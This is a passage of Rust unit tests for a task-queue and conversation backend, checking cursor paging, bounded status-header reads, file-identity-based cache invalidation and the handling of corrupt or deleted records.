27148            let id = seed_talk_at(&ui.talks, &task.id, "open");
27149            let mut talk = ui.talks.get(&id).unwrap();
27150            talk.pending = "history ".repeat(256);
27151            ui.talks.put(&mut talk).unwrap();
27152        }
27153        let mut parent = Task::new(
27154            "parent".into(),
27155            "body".into(),
27156            PathBuf::from("/repo"),
27157            Source::Agent {
27158                run: chat_id.clone(),
27159                node: crate::queue::CHAT_NODE.into(),
27160            },
27161        );
27162        parent.id = "task-parent".into();
27163        parent.runs = vec!["run-parent".into()];
27164        ui.queue.put(&mut parent).unwrap();
27165        let mut child = Task::new(
27166            "child".into(),
27167            "body".into(),
27168            PathBuf::from("/repo"),
27169            Source::Human,
27170        );
27171        child.id = "task-child".into();
27172        child.runs = vec!["run-child".into()];
27173        child.followup = Some(crate::queue::FollowUp {
27174            run: "run-parent".into(),
27175            origin_task: Some(parent.id.clone()),
27176            pr: "https://example.invalid/pr/1".into(),
27177            findings: vec![],
27178            generation: 1,
27179        });
27180        ui.queue.put(&mut child).unwrap();
27181        let mut question = Question::new(
27182            child.id.clone(),
27183            crate::conduct::NODE.into(),
27184            "seat".into(),
27185            "Continue?".into(),
27186            String::new(),
27187            vec![],
27188        );
27189        let (tasks, talks, _watches) =
27190            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
27191        assert_eq!(tasks.len(), 2);
27192        assert_eq!(talks.len(), 1);
27193        assert_eq!(
27194            ui.monitor.queue_index.lock().unwrap().reparsed,
27195            0,
27196            "exact ancestry bypasses the index"
27197        );
27198        assert_eq!(
27199            crate::consult::origin_talk(&tasks, &talks, &question)
27200                .unwrap()
27201                .id,
27202            chat_id
27203        );
27204        question.run = "run-child".into();
27205        question.node = "review".into();
27206        for origin_task in [Some(parent.id.clone()), None] {
27207            child.followup.as_mut().unwrap().origin_task = origin_task;
27208            ui.queue.put(&mut child).unwrap();
27209            let (tasks, talks, _watches) =
27210                question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
27211            let actual = crate::consult::associated_talk(&tasks, &talks, &question).unwrap();
27212            let expected =
27213                crate::consult::associated_talk(&ui.queue.list(), &ui.talks.list(), &question)
27214                    .unwrap();
27215            assert_eq!(actual.id, expected.id);
27216            assert!(!actual.status.open());
27217            let parsed = ui.monitor.queue_index.lock().unwrap().reparsed;
27218            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
27219            // Without Unix file identity, every readable record must be
27220            // reparsed to detect same-size, same-mtime replacements safely.
27221            let expected = parsed + if cfg!(unix) { 0 } else { 1002 };
27222            assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, expected);
27223        }
27224        child.followup.as_mut().unwrap().origin_task = Some(parent.id.clone());
27225        ui.queue.put(&mut child).unwrap();
27226        std::fs::remove_file(ui.queue.path_of(&parent.id)).unwrap();
27227        let (tasks, talks, _watches) =
27228            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
27229        assert!(crate::consult::origin_talk(&tasks, &talks, &question).is_none());
27230        child.origin_chat = Some(chat_id.clone());
27231        ui.queue.put(&mut child).unwrap();
27232        let (tasks, talks, _watches) =
27233            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
27234        assert_eq!(
27235            crate::consult::origin_talk(&tasks, &talks, &question)
27236                .unwrap()
27237                .id,
27238            chat_id
27239        );
27240        let revision = question_record_revision(&question);
27241        question.abandon("settled elsewhere");
27242        assert_ne!(revision, question_record_revision(&question));
27243        assert!(crate::consult::origin_talk(&tasks, &talks, &question).is_none());
27244        assert!(crate::consult::associated_talk(&tasks, &talks, &question).is_some());
27245        std::fs::remove_file(ui.talks.path_of(&chat_id)).unwrap();
27246        let (tasks, talks, _watches) =
27247            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
27248        assert!(crate::consult::associated_talk(&tasks, &talks, &question).is_none());
27249    }
27250
27251    #[test]
27252    fn list_cursors_freeze_membership_and_expire_explicitly() {
27253        let home = tempfile::tempdir().unwrap();
27254        let ui = delta_test_ui(home.path());
27255        std::fs::create_dir_all(ui.queue.root()).unwrap();
27256        for i in 0..40 {
27257            std::fs::write(ui.queue.path_of(&format!("record-{i:04}")), "broken").unwrap();
27258        }
27259        let (first, cursor) = page_ids(&ui, false, PageQuery::default()).unwrap();
27260        assert_eq!(first.len(), STORE_PAGE_SIZE);
27261        let cursor = cursor.unwrap();
27262        std::fs::write(ui.queue.path_of("record-9999"), "broken").unwrap();
27263        std::fs::remove_file(ui.queue.path_of(&first[0])).unwrap();
27264        let (second, _) = page_ids(
27265            &ui,
27266            false,
27267            PageQuery {
27268                before: Some(cursor.clone()),
27269            },
27270        )
27271        .unwrap();
27272        assert_eq!(second[0], "record-0023");
27273        assert!(second.iter().all(|id| !first.contains(id)));
27274        assert!(
27275            page_ids(
27276                &ui,
27277                true,
27278                PageQuery {
27279                    before: Some(cursor.clone())
27280                }
27281            )
27282            .is_err()
27283        );
27284        let (fresh, _) = page_ids(&ui, false, PageQuery::default()).unwrap();
27285        assert_eq!(fresh[0], "record-9999");
27286        ui.monitor.list_walks.lock().unwrap().clear();
27287        assert!(
27288            page_ids(
27289                &ui,
27290                false,
27291                PageQuery {
27292                    before: Some(cursor)
27293                }
27294            )
27295            .is_err()
27296        );
27297    }
27298
27299    #[tokio::test]
27300    async fn talk_pages_load_every_open_then_frozen_closed_history() {
27301        let home = tempfile::tempdir().unwrap();
27302        let ui = delta_test_ui(home.path());
27303        // Every closed conversation is newer by ID than every open conversation.
27304        for i in 0..23 {
27305            seed_talk_at(&ui.talks, &format!("20260101-000000-{i:03}"), "open");
27306        }
27307        for i in 0..45 {
27308            seed_talk_at(&ui.talks, &format!("20261019-000000-{i:03}"), "closed");
27309        }
27310        std::fs::write(ui.talks.path_of("20261020-000000-corrupt"), "broken").unwrap();
27311        let first = talks_page(
27312            State(ui.clone()),
27313            Query(PageQuery::default()),
27314            header::HeaderMap::new(),
27315        )
27316        .await
27317        .unwrap()
27318        .0;
27319        assert_eq!(
27320            first.rows.iter().filter(|row| row.status.open()).count(),
27321            23
27322        );
27323        assert_eq!(first.rows.len(), 23 + STORE_PAGE_SIZE - 1);
27324        assert!(first.rows[..23].iter().all(|row| row.status.open()));
27325        let parsed = ui
27326            .monitor
27327            .talk_parses
27328            .load(std::sync::atomic::Ordering::Relaxed);
27329        assert_eq!(
27330            parsed,
27331            first.rows.len(),
27332            "closed bodies outside this page are not restored"
27333        );
27334        let fresh = talks_page(
27335            State(ui.clone()),
27336            Query(PageQuery::default()),
27337            header::HeaderMap::new(),
27338        )
27339        .await
27340        .unwrap()
27341        .0;
27342        assert_eq!(fresh.rows.len(), first.rows.len());
27343        assert_eq!(
27344            ui.monitor
27345                .talk_parses
27346                .load(std::sync::atomic::Ordering::Relaxed),
27347            parsed
27348        );
27349        let mut seen: std::collections::HashSet<_> =
27350            first.rows.iter().map(|row| row.id.clone()).collect();
27351        // Status changes keep their original membership position until refresh.
27352        seed_talk_at(&ui.talks, "20261019-000000-000", "open");
27353        seed_talk_at(&ui.talks, "20260101-000000-000", "closed");
27354        std::fs::remove_file(ui.talks.path_of("20261019-000000-001")).unwrap();
27355        let mut next = first.next;
27356        while let Some(cursor) = next {
27357            let page = talks_page(
27358                State(ui.clone()),
27359                Query(PageQuery {
27360                    before: Some(cursor),
27361                }),
27362                header::HeaderMap::new(),
27363            )
27364            .await
27365            .unwrap()
27366            .0;
27367            assert!(page.rows.len() <= STORE_PAGE_SIZE);
27368            for row in page.rows {
27369                assert!(seen.insert(row.id), "a cursor must not repeat membership");
27370            }
27371            next = page.next;
27372        }
27373        let expected: HashSet<_> = (0..23)
27374            .map(|i| format!("20260101-000000-{i:03}"))
27375            .chain(
27376                (0..45)
27377                    .filter(|i| *i != 1)
27378                    .map(|i| format!("20261019-000000-{i:03}")),
27379            )
27380            .collect();
27381        assert_eq!(
27382            seen, expected,
27383            "the cursor walk must return every surviving ID"
27384        );
27385        let refreshed = talks_page(
27386            State(ui.clone()),
27387            Query(PageQuery::default()),
27388            header::HeaderMap::new(),
27389        )
27390        .await
27391        .unwrap()
27392        .0;
27393        assert_eq!(
27394            refreshed
27395                .rows
27396                .iter()
27397                .filter(|row| row.status.open())
27398                .count(),
27399            23
27400        );
27401        assert!(
27402            refreshed
27403                .rows
27404                .iter()
27405                .any(|row| row.id == "20261019-000000-000")
27406        );
27407        assert!(
27408            !refreshed
27409                .rows
27410                .iter()
27411                .any(|row| row.id == "20260101-000000-000")
27412        );
27413    }
27414
27415    #[test]
27416    fn talk_pages_with_only_open_rows_have_no_history_cursor() {
27417        let home = tempfile::tempdir().unwrap();
27418        let ui = delta_test_ui(home.path());
27419        for i in 0..STORE_PAGE_SIZE + 5 {
27420            seed_talk_at(&ui.talks, &format!("open-{i:03}"), "open");
27421        }
27422        let (ids, next) = page_ids(&ui, true, PageQuery::default()).unwrap();
27423        assert_eq!(ids.len(), STORE_PAGE_SIZE + 5);
27424        assert!(next.is_none());
27425    }
27426
27427    #[test]
27428    fn chat_status_promotes_closed_owner_goal_in_header() {
27429        let home = tempfile::tempdir().unwrap();
27430        let ui = delta_test_ui(home.path());
27431        for i in 0..STORE_PAGE_SIZE + 5 {
27432            seed_talk_at(&ui.talks, &format!("new-{i:03}"), "closed");
27433        }
27434        let id = seed_talk_at(&ui.talks, "ancient", "closed");
27435        let path = ui.talks.path_of(&id);
27436        let mut raw: serde_json::Value =
27437            serde_json::from_slice(&std::fs::read(&path).unwrap()).unwrap();
27438        raw["goals"] = serde_json::json!([{
27439            "id": "g", "purpose": "ship", "scope": "task",
27440            "condition": {"description": "done", "kind": "tasks_done"},
27441            "state": "owner", "step": "decision", "source_turn": 0,
27442            "owner_input": "ship", "tasks": [], "runs": [], "watches": [],
27443            "evidence": "", "wake": 0, "handled": 0, "started": null,
27444            "wakes": 0, "last_checked": null, "fingerprint": ""
27445        }]);
27446        let chat: talk::Talk = serde_json::from_value(raw.clone()).unwrap();
27447        std::fs::write(&path, serde_json::to_vec(&chat).unwrap()).unwrap();
27448        let (ids, _) = page_ids(&ui, true, PageQuery::default()).unwrap();
27449        assert!(ids.contains(&id));
27450        let rows = talk_rows(&ui, ids, &header::HeaderMap::new());
27451        let row = rows.iter().find(|row| row.id == id).unwrap();
27452        assert_eq!(row.chat_status.kind, crate::chat_status::Kind::NeedsOwner);
27453        {
27454            let cache = ui.monitor.closed_goal_index.lock().unwrap();
27455            assert!(cache.get(&id).is_some_and(|(_, owner)| *owner));
27456            assert!(cache.len() > STORE_PAGE_SIZE);
27457        }
27458        // A second request must retain the projection even for promoted rows.
27459        let (again, _) = page_ids(&ui, true, PageQuery::default()).unwrap();
27460        assert!(again.contains(&id));
27461        // A same-length rewrite preserving write time still changes identity.
27462        let modified = path.metadata().unwrap().modified().unwrap();
27463        raw["goals"][0]["state"] = serde_json::json!("paused");
27464        raw["goals"][0]["step"] = serde_json::json!("waiting");
27465        let chat: talk::Talk = serde_json::from_value(raw).unwrap();
27466        std::fs::write(&path, serde_json::to_vec(&chat).unwrap()).unwrap();
27467        std::fs::OpenOptions::new()
27468            .write(true)
27469            .open(&path)
27470            .unwrap()
27471            .set_modified(modified)
27472            .unwrap();
27473        let (changed, _) = page_ids(&ui, true, PageQuery::default()).unwrap();
27474        assert!(!changed.contains(&id));
27475        // A legacy file with goals after turns is deferred to its history page.
27476        let mut raw = serde_json::to_value(&chat).unwrap();
27477        raw["goals"][0]["state"] = serde_json::json!("owner");
27478        let goals = raw.as_object_mut().unwrap().remove("goals").unwrap();
27479        let mut body = serde_json::to_string(&raw).unwrap();
27480        body.pop();
27481        body.push_str(&format!(",\"goals\":{goals}}}"));
27482        std::fs::write(&path, body).unwrap();
27483        let (initial, _) = page_ids(&ui, true, PageQuery::default()).unwrap();
27484        assert!(!initial.contains(&id));
27485        let rows = talk_rows(&ui, vec![id], &header::HeaderMap::new());
27486        assert_eq!(
27487            rows[0].chat_status.kind,
27488            crate::chat_status::Kind::NeedsOwner
27489        );
27490    }
27491
27492    #[test]
27493    fn chat_status_revision_tracks_turn_lease_without_transcript_changes() {
27494        let home = tempfile::tempdir().unwrap();
27495        let ui = delta_test_ui(home.path());
27496        let id = seed_talk_at(&ui.talks, "chat", "open");
27497        let before = monitor_scan(&ui, None);
27498        let lease = ui.talks.claim_turn(&id).unwrap().unwrap();
27499        let during = monitor_scan(&ui, Some(before.clone()));
27500        assert_ne!(during.0.3, before.0.3);
27501        drop(lease);
27502        let after = monitor_scan(&ui, Some(during));
27503        assert_eq!(after.0.3, before.0.3);
27504    }
27505
27506    #[test]
27507    fn talk_status_header_reads_are_bounded_independently_of_transcript_size() {
27508        struct Counted<R> {
27509            inner: R,
27510            bytes: usize,
27511        }
27512        impl<R: std::io::Read> std::io::Read for Counted<R> {
27513            fn read(&mut self, buf: &mut [u8]) -> std::io::Result<usize> {
27514                let n = self.inner.read(buf)?;
27515                self.bytes += n;
27516                Ok(n)
27517            }
27518        }
27519        let home = tempfile::tempdir().unwrap();
27520        let ui = delta_test_ui(home.path());
27521        let id = seed_talk_at(&ui.talks, "header-chat", "closed");
27522        let mut chat = ui.talks.get(&id).unwrap();
27523        for size in [0, 1024 * 1024, 8 * 1024 * 1024] {
27524            chat.turns = vec![
27525                serde_json::from_value(serde_json::json!({
27526                    "who": "agent", "body": "x".repeat(size), "at": chat.updated_at,
27527                }))
27528                .unwrap(),
27529            ];
27530            for status in [talk::TalkStatus::Closed, talk::TalkStatus::Open] {
27531                chat.status = status;
27532                // Exercise the actual on-disk serializer, including its field order.
27533                let body = serde_json::to_vec_pretty(&chat).unwrap();
27534                let mut reader = Counted {
27535                    inner: body.as_slice(),
27536                    bytes: 0,
27537                };
27538                assert_eq!(read_talk_status(&mut reader), Some(status));
27539                assert!(
27540                    reader.bytes <= 1024,
27541                    "header classification read {} bytes",
27542                    reader.bytes
27543                );
27544            }
27545        }
27546        // Noncanonical field order must neither traverse a transcript nor hide
27547        // an open row. Its real status is validated by the ordinary row reader.
27548        let noncanonical = format!(
27549            r#"{{"turns":[{{"body":"{}"}}],"status":"open"}}"#,
27550            "x".repeat(1024 * 1024)
27551        );
27552        let mut reader = Counted {
27553            inner: noncanonical.as_bytes(),
27554            bytes: 0,
27555        };
27556        assert_eq!(read_talk_status(&mut reader), Some(talk::TalkStatus::Open));
27557        assert!(reader.bytes <= 1024);
27558        let legacy = format!(
27559            r#"{{"status":"closed","turns":[{{"body":"{}"}}],"goals":[]}}"#,
27560            "x".repeat(1024 * 1024)
27561        );
27562        let mut reader = Counted {
27563            inner: legacy.as_bytes(),
27564            bytes: 0,
27565        };
27566        assert!(!read_owner_goal(&mut reader));
27567        assert!(reader.bytes <= 1024);
27568        let oversized = format!(
27569            r#"{{"agent":"{}","status":"open"}}"#,
27570            "x".repeat(128 * 1024)
27571        );
27572        let mut reader = Counted {
27573            inner: oversized.as_bytes(),
27574            bytes: 0,
27575        };
27576        assert_eq!(read_talk_status(&mut reader), Some(talk::TalkStatus::Open));
27577        assert!(reader.bytes <= 64 * 1024);
27578    }
27579
27580    #[test]
27581    fn talk_header_classification_does_not_hold_the_queue_cursor_registry() {
27582        let home = tempfile::tempdir().unwrap();
27583        let ui = delta_test_ui(home.path());
27584        seed_talk_at(&ui.talks, "header-chat", "open");
27585        std::fs::create_dir_all(ui.queue.root()).unwrap();
27586        let (started, ready) = std::sync::mpsc::channel();
27587        let (release, wait) = std::sync::mpsc::channel();
27588        let chat_ui = ui.clone();
27589        let scan = std::thread::spawn(move || {
27590            page_ids_with(&chat_ui, true, PageQuery::default(), |ui, ids| {
27591                started.send(()).unwrap();
27592                wait.recv().unwrap();
27593                open_talk_ids(ui, ids)
27594            })
27595            .unwrap()
27596        });
27597        ready.recv_timeout(Duration::from_secs(2)).unwrap();
27598        let (finished, result) = std::sync::mpsc::channel();
27599        let queue = std::thread::spawn(move || {
27600            finished
27601                .send(page_ids(&ui, false, PageQuery::default()).is_ok())
27602                .unwrap();
27603        });
27604        let completed = result.recv_timeout(Duration::from_secs(2));
27605        // Release and join both workers even if the regression returns.
27606        release.send(()).unwrap();
27607        scan.join().unwrap();
27608        queue.join().unwrap();
27609        assert!(
27610            completed.unwrap(),
27611            "queue paging must not wait for chat header I/O"
27612        );
27613    }
27614
27615    #[test]
27616    fn talk_status_projection_does_not_cache_files_changed_during_read() {
27617        let home = tempfile::tempdir().unwrap();
27618        let ui = delta_test_ui(home.path());
27619        let ids = vec!["changing-chat".to_owned()];
27620        seed_talk_at(&ui.talks, &ids[0], "closed");
27621        assert!(open_talk_ids(&ui, &ids).is_empty());
27622        seed_talk_at(&ui.talks, &ids[0], "open");
27623        let open = open_talk_ids_with(&ui, &ids, cfg!(unix), |path| {
27624            let value: serde_json::Value =
27625                serde_json::from_slice(&std::fs::read(path).unwrap()).unwrap();
27626            // Replace the file after parsing, before its identity is checked again.
27627            seed_talk_at(&ui.talks, &ids[0], "closed");
27628            serde_json::from_value(value["status"].clone()).ok()
27629        });
27630        assert!(open.contains(&ids[0]));
27631        assert!(
27632            ui.monitor
27633                .talk_status_index
27634                .lock()
27635                .unwrap()
27636                .records
27637                .is_empty()
27638        );
27639        assert!(open_talk_ids(&ui, &ids).is_empty());
27640        assert_eq!(ui.monitor.talk_status_index.lock().unwrap().parses, 3);
27641    }
27642
27643    #[test]
27644    fn talk_status_projection_rereads_when_metadata_cannot_prove_identity() {
27645        let home = tempfile::tempdir().unwrap();
27646        let ui = delta_test_ui(home.path());
27647        let ids = vec!["same-stamp-chat".to_owned()];
27648        seed_talk_at(&ui.talks, &ids[0], "open");
27649        // Model a non-Unix metadata collision deterministically: the old
27650        // classification has a fingerprint equal to the current file's.
27651        ui.monitor.talk_status_index.lock().unwrap().records.insert(
27652            ids[0].clone(),
27653            (
27654                file_identity(&ui.talks.path_of(&ids[0])).unwrap(),
27655                Some(talk::TalkStatus::Closed),
27656            ),
27657        );
27658        let open = open_talk_ids_with(&ui, &ids, false, |path| {
27659            std::fs::File::open(path).ok().and_then(read_talk_status)
27660        });
27661        assert!(
27662            open.contains(&ids[0]),
27663            "an untrusted cache hit must still read the current header"
27664        );
27665        assert!(
27666            ui.monitor
27667                .talk_status_index
27668                .lock()
27669                .unwrap()
27670                .records
27671                .is_empty()
27672        );
27673        seed_talk_at(&ui.talks, &ids[0], "closed");
27674        assert!(
27675            open_talk_ids_with(&ui, &ids, false, |path| {
27676                std::fs::File::open(path).ok().and_then(read_talk_status)
27677            })
27678            .is_empty()
27679        );
27680        let index = ui.monitor.talk_status_index.lock().unwrap();
27681        assert_eq!(index.parses, 2);
27682        assert!(
27683            index.records.is_empty(),
27684            "untrusted fingerprints must never publish cache entries"
27685        );
27686    }
27687
27688    #[test]
27689    fn talk_rows_cache_shrinks_without_reparsing_open_rows() {
27690        let home = tempfile::tempdir().unwrap();
27691        let ui = delta_test_ui(home.path());
27692        let headers = header::HeaderMap::new();
27693        seed_talk_at(&ui.talks, "open-chat", "open");
27694        seed_talk_at(&ui.talks, "closed-chat", "closed");
27695        talk_rows(
27696            &ui,
27697            vec!["open-chat".into(), "closed-chat".into()],
27698            &headers,
27699        );
27700        {
27701            let mut index = ui.monitor.talk_index.lock().unwrap();
27702            let closed = index["closed-chat"].1.clone();
27703            for i in 0..1000 {
27704                index.insert(
27705                    format!("cached-closed-{i}"),
27706                    (
27707                        file_identity(&ui.talks.path_of("closed-chat")).unwrap(),
27708                        closed.clone(),
27709                    ),
27710                );
27711            }
27712        }
27713        assert_eq!(
27714            talk_rows(&ui, vec!["closed-chat".into()], &headers).len(),
27715            1
27716        );
27717        assert_eq!(ui.monitor.talk_index.lock().unwrap().len(), 2);
27718        assert_eq!(talk_rows(&ui, vec!["open-chat".into()], &headers).len(), 1);
27719        assert_eq!(
27720            ui.monitor
27721                .talk_parses
27722                .load(std::sync::atomic::Ordering::Relaxed),
27723            2
27724        );
27725        {
27726            let mut index = ui.monitor.talk_index.lock().unwrap();
27727            let open = index["open-chat"].1.clone();
27728            for i in 0..1000 {
27729                index.insert(
27730                    format!("cached-open-{i}"),
27731                    (
27732                        file_identity(&ui.talks.path_of("open-chat")).unwrap(),
27733                        open.clone(),
27734                    ),
27735                );
27736            }
27737        }
27738        // Even when open rows exceed the bound, keep the currently requested rows.
27739        assert_eq!(talk_rows(&ui, vec!["open-chat".into()], &headers).len(), 1);
27740        assert_eq!(ui.monitor.talk_index.lock().unwrap().len(), 1);
27741        assert_eq!(
27742            ui.monitor
27743                .talk_parses
27744                .load(std::sync::atomic::Ordering::Relaxed),
27745            2
27746        );
27747    }
27748
27749    #[test]
27750    fn talk_status_projection_reuses_large_indexes_and_prunes_deleted_files() {
27751        let home = tempfile::tempdir().unwrap();
27752        let ui = delta_test_ui(home.path());
27753        std::fs::create_dir_all(ui.talks.root()).unwrap();
27754        let ids: Vec<_> = (0..1050).map(|i| format!("chat-{i:04}")).collect();
27755        for id in &ids {
27756            std::fs::write(
27757                ui.talks.path_of(id),
27758                r#"{"status":"closed","turns":[{"body":"ignored"}]}"#,
27759            )
27760            .unwrap();
27761        }
27762        assert!(open_talk_ids(&ui, &ids).is_empty());
27763        assert_eq!(
27764            ui.monitor.talk_status_index.lock().unwrap().parses,
27765            ids.len()
27766        );
27767        assert!(open_talk_ids(&ui, &ids).is_empty());
27768        let reused = if cfg!(unix) { ids.len() } else { 2 * ids.len() };
27769        assert_eq!(ui.monitor.talk_status_index.lock().unwrap().parses, reused);
27770        std::fs::write(ui.talks.path_of(&ids[0]), r#"{"status":"open"}"#).unwrap();
27771        std::fs::write(ui.talks.path_of(&ids[1]), "broken").unwrap();
27772        assert_eq!(
27773            open_talk_ids(&ui, &ids),
27774            std::collections::HashSet::from([ids[0].clone()])
27775        );
27776        let parsed = ui.monitor.talk_status_index.lock().unwrap().parses;
27777        let refreshed = if cfg!(unix) { 2 } else { ids.len() };
27778        assert_eq!(parsed, reused + refreshed);
27779        open_talk_ids(&ui, &ids);
27780        assert_eq!(
27781            ui.monitor.talk_status_index.lock().unwrap().parses,
27782            parsed + if cfg!(unix) { 0 } else { ids.len() },
27783            "only reliable file identity permits caching, including unreadable rows"
27784        );
27785        std::fs::remove_file(ui.talks.path_of(&ids[0])).unwrap();
27786        assert!(open_talk_ids(&ui, &ids[1..]).is_empty());
27787        assert!(
27788            !ui.monitor
27789                .talk_status_index
27790                .lock()
27791                .unwrap()
27792                .records
27793                .contains_key(&ids[0])
27794        );
27795        assert!(
27796            ui.monitor.talk_index.lock().unwrap().is_empty(),
27797            "classification never caches bodies"
27798        );
27799    }
27800
27801    #[tokio::test]
27802    async fn stats_queue_index_counts_only_fresh_readable_statuses() {
27803        let home = tempfile::tempdir().unwrap();
27804        let ui = delta_test_ui(home.path());
27805        let mut task = Task::new(
27806            "task".into(),
27807            "body".into(),
27808            PathBuf::from("/repo"),
27809            Source::Human,
27810        );
27811        ui.queue.put(&mut task).unwrap();
27812        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.queued, 1);
27813        let parsed = ui.monitor.queue_index.lock().unwrap().reparsed;
27814        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.queued, 1);
27815        let expected = parsed + usize::from(!cfg!(unix));
27816        assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, expected);
27817        task.status = crate::queue::TaskStatus::Held;
27818        ui.queue.put(&mut task).unwrap();
27819        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 1);
27820        std::fs::write(ui.queue.path_of(&task.id), "broken").unwrap();
27821        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 0);
27822        ui.queue.put(&mut task).unwrap();
27823        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 1);
27824        std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
27825        assert_eq!(stats_queue(State(ui)).await.unwrap().0.held, 0);
27826    }
27827
27828    #[tokio::test]
27829    async fn health_notifications_revision_is_fresh_between_monitor_ticks() {
27830        let home = tempfile::tempdir().unwrap();
27831        let ui = delta_test_ui(home.path());
27832        *ui.monitor.latest.lock().unwrap() = Some(((0, 0, 0, 0, 0, 0), Default::default()));
27833        let before = health(State(ui.clone())).await.unwrap().0;
27834        ui.notices.raise(Notice::warn("task:1", "held")).unwrap();
27835        let after = health(State(ui)).await.unwrap().0;
27836        assert_ne!(before.notifications_rev, after.notifications_rev);
27837        assert_eq!(after.notifications_unread, 1);
27838    }
27839
27840    #[tokio::test]
27841    async fn list_pages_bound_history_and_keep_dependency_evidence() {
27842        let home = tempfile::tempdir().unwrap();
27843        let ui = delta_test_ui(home.path());
27844        let queue = &ui.queue;
27845        let talks = &ui.talks;
27846        for i in 0..1000 {
27847            let id = format!("20261019-{i:06}-page");
27848            let mut task = Task::new(
27849                "task".into(),
27850                "instruction".repeat(100),
27851                PathBuf::from("/repo/magi"),
27852                Source::Human,
27853            );
27854            task.id = id.clone();
27855            if i == 0 {
27856                task.status = crate::queue::TaskStatus::Held;
27857            } else if i == 999 {
27858                task.status = crate::queue::TaskStatus::Blocked;
27859                task.blocked_by = vec!["20261019-000000-page".into()];
27860            }
27861            queue.put(&mut task).unwrap();
27862            seed_talk_at(talks, &id, "closed");
27863        }
27864        let page = serde_json::to_value(
27865            queue_page(State(ui.clone()), Query(PageQuery::default()))
27866                .await
27867                .unwrap()
27868                .0,
27869        )
27870        .unwrap();
27871        assert_eq!(page["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
27872        assert_eq!(page["rows"][0]["id"], "20261019-000999-page");
27873        assert!(
27874            !page["rows"][0]["stuck_roots"]
27875                .as_array()
27876                .unwrap()
27877                .is_empty()
27878        );
27879        let cursor = page["next"].as_str().unwrap();
27880        let last_id = page["rows"].as_array().unwrap().last().unwrap()["id"]
27881            .as_str()
27882            .unwrap();
27883        // Deleting an already enumerated file cannot shift or repeat a page.
27884        std::fs::remove_file(queue.path_of(last_id)).unwrap();
27885        let next = serde_json::to_value(
27886            queue_page(
27887                State(ui.clone()),
27888                Query(PageQuery {
27889                    before: Some(cursor.into()),
27890                }),
27891            )
27892            .await
27893            .unwrap()
27894            .0,
27895        )
27896        .unwrap();
27897        assert_eq!(next["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
27898        assert!(next["rows"][0]["id"].as_str().unwrap() < last_id);
27899        let chats = serde_json::to_value(
27900            talks_page(
27901                State(ui.clone()),
27902                Query(PageQuery::default()),
27903                header::HeaderMap::new(),
27904            )
27905            .await
27906            .unwrap()
27907            .0,
27908        )
27909        .unwrap();
27910        assert_eq!(chats["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
27911        assert!(chats["rows"][0].get("pending").is_none());
27912        assert!(chats["rows"][0].get("turn_bodies_md").is_none());
27913        let counts = serde_json::to_value(stats_queue(State(ui)).await.unwrap().0).unwrap();
27914        assert_eq!(counts["held"], 1);
27915        assert_eq!(counts["blocked"], 1);
27916        assert_eq!(counts["queued"], 997);
27917    }
27918
27919    #[test]
27920    fn queue_index_observes_external_replacement_deletion_and_corruption() {
27921        let dir = tempfile::tempdir().unwrap();
27922        let ui = delta_test_ui(dir.path());
27923        let mut task = Task::new(
27924            "task".into(),
27925            "body".into(),
27926            PathBuf::from("/repo"),
27927            Source::Human,
27928        );
27929        task.runs = vec!["run-a".into()];
27930        ui.queue.put(&mut task).unwrap();
27931        assert!(ui.find_task_for_run("run-a").unwrap().is_some());
27932        task.runs = vec!["run-b".into()];
27933        let path = ui.queue.path_of(&task.id);
27934        let modified = path.metadata().unwrap().modified().unwrap();
27935        let replacement = path.with_extension("replacement");
27936        let bytes = serde_json::to_vec_pretty(&task).unwrap();
27937        assert_eq!(bytes.len() as u64, path.metadata().unwrap().len());
27938        std::fs::write(&replacement, &bytes).unwrap();
27939        std::fs::File::options()
27940            .write(true)
27941            .open(&replacement)
27942            .unwrap()
27943            .set_times(std::fs::FileTimes::new().set_modified(modified))
27944            .unwrap();
27945        std::fs::rename(&replacement, &path).unwrap();
27946        assert!(ui.find_task_for_run("run-a").unwrap().is_none());
27947        assert!(ui.find_task_for_run("run-b").unwrap().is_some());
27948        std::fs::write(&path, "broken").unwrap();
27949        assert!(ui.find_task_for_run("run-b").is_err());
27950        std::fs::write(&path, bytes).unwrap();
27951        assert!(ui.find_task_for_run("run-b").unwrap().is_some());
27952        std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
27953        assert!(ui.find_task_for_run("run-b").unwrap().is_none());
27954    }
27955
27956    #[tokio::test]
27957    async fn conversation_core_is_independent_of_unreadable_related_history() {
27958        let home = tempfile::tempdir().unwrap();
27959        let ui = delta_test_ui(home.path());
27960        let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
27961        std::fs::create_dir_all(ui.queue.root()).unwrap();
27962        std::fs::write(ui.queue.root().join("unreadable.json"), "broken").unwrap();
27963        let Json(core) = talk_core(State(ui.clone()), Path(id.clone()))
27964            .await
27965            .unwrap();
27966        assert_eq!(core.talk.id, id);
27967        assert!(talk_sections(State(ui), Path(id)).await.is_ok());
27968    }
27969
27970    #[test]
27971    fn conversation_core_ignores_worker_store_lock_and_busy_secondary_pool() {
27972        let home = tempfile::tempdir().unwrap();
27973        let ui = delta_test_ui(home.path());
27974        let id = seed_talk_at(&ui.talks, "20261019-000000-cafe", "open");
27975        let directory = home.path().join("workers/jobs/abcdef");
27976        std::fs::create_dir_all(&directory).unwrap();
27977        let job = crate::worker::Job {
27978            id: "abcdef".into(),
27979            sequence: 1,
27980            kind: "chat".into(),
27981            key: id.clone(),
27982            payload: serde_json::json!({ "talk": id }),
27983            generation: "test".into(),
27984            version: None,
27985            status: crate::worker::Status::Running,
27986            result: None,
27987            pid: None,
27988            created_at: 0,
27989            finished_at: None,
27990        };
27991        std::fs::write(
